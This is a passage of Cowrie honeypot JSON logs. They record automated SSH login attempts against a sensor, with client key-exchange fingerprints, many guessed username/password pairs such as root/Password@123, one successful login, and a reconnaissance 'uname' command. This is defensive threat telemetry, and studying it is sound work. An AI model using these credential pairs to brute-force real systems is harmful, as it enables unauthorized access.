-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:53.346943Z","src_ip":"176.65.132.129","session":"849578a8169a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:53.594172Z","src_ip":"176.65.132.129","session":"849578a8169a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:54.678788Z","src_ip":"176.65.132.129","session":"849578a8169a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e46f886677bf","protocol":"ssh","message":"New connection: 176.65.132.129:48722 (159.203.135.109:22) [session: e46f886677bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:56.708525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:56.713725Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:56.799986Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43274,"dst_ip":"159.203.135.109","dst_port":22,"session":"05752bcbe53c","protocol":"ssh","message":"New connection: 172.237.20.62:43274 (159.203.135.109:22) [session: 05752bcbe53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:56.891316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:56.896373Z","src_ip":"172.237.20.62","session":"05752bcbe53c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.048520Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.058985Z","src_ip":"172.237.20.62","session":"05752bcbe53c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.252577Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.256855Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.343327Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.348871Z","src_ip":"176.65.132.129","session":"e46f886677bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.585456Z","src_ip":"172.237.20.62","session":"05752bcbe53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.747692823410034,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:57.881687Z","src_ip":"45.58.127.90","session":"59120d21be84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:58.750663Z","src_ip":"172.237.20.62","session":"05752bcbe53c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48730,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5fc868c60fb","protocol":"ssh","message":"New connection: 176.65.132.129:48730 (159.203.135.109:22) [session: a5fc868c60fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:00.265904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:00.286422Z","src_ip":"176.65.132.129","session":"a5fc868c60fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:00.350717Z","src_ip":"176.65.132.129","session":"a5fc868c60fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:00.672867Z","src_ip":"176.65.132.129","session":"a5fc868c60fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:01.758431Z","src_ip":"176.65.132.129","session":"a5fc868c60fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48734,"dst_ip":"159.203.135.109","dst_port":22,"session":"7899ce5b10ac","protocol":"ssh","message":"New connection: 176.65.132.129:48734 (159.203.135.109:22) [session: 7899ce5b10ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:03.620390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:03.625357Z","src_ip":"176.65.132.129","session":"7899ce5b10ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:03.708120Z","src_ip":"176.65.132.129","session":"7899ce5b10ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:03.956951Z","src_ip":"176.65.132.129","session":"7899ce5b10ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:05.044913Z","src_ip":"176.65.132.129","session":"7899ce5b10ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55618,"dst_ip":"159.203.135.109","dst_port":22,"session":"39a6e0b24042","protocol":"ssh","message":"New connection: 176.65.132.129:55618 (159.203.135.109:22) [session: 39a6e0b24042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.031717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.036406Z","src_ip":"176.65.132.129","session":"39a6e0b24042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.278367Z","src_ip":"176.65.132.129","session":"39a6e0b24042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.612780Z","src_ip":"176.65.132.129","session":"39a6e0b24042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52718,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b8ce6943b99","protocol":"ssh","message":"New connection: 172.237.20.62:52718 (159.203.135.109:22) [session: 4b8ce6943b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.735983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.740596Z","src_ip":"172.237.20.62","session":"4b8ce6943b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:07.902020Z","src_ip":"172.237.20.62","session":"4b8ce6943b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:08.389011Z","src_ip":"172.237.20.62","session":"4b8ce6943b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:08.696703Z","src_ip":"176.65.132.129","session":"39a6e0b24042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:09.606478Z","src_ip":"172.237.20.62","session":"4b8ce6943b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55622,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5acd7e0ee59","protocol":"ssh","message":"New connection: 176.65.132.129:55622 (159.203.135.109:22) [session: e5acd7e0ee59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:10.662076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:10.666587Z","src_ip":"176.65.132.129","session":"e5acd7e0ee59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:10.747090Z","src_ip":"176.65.132.129","session":"e5acd7e0ee59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:11.062813Z","src_ip":"176.65.132.129","session":"e5acd7e0ee59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:12.309213Z","src_ip":"176.65.132.129","session":"e5acd7e0ee59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55626,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ce286d2e4f","protocol":"ssh","message":"New connection: 176.65.132.129:55626 (159.203.135.109:22) [session: c0ce286d2e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:14.029849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:14.034112Z","src_ip":"176.65.132.129","session":"c0ce286d2e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@opens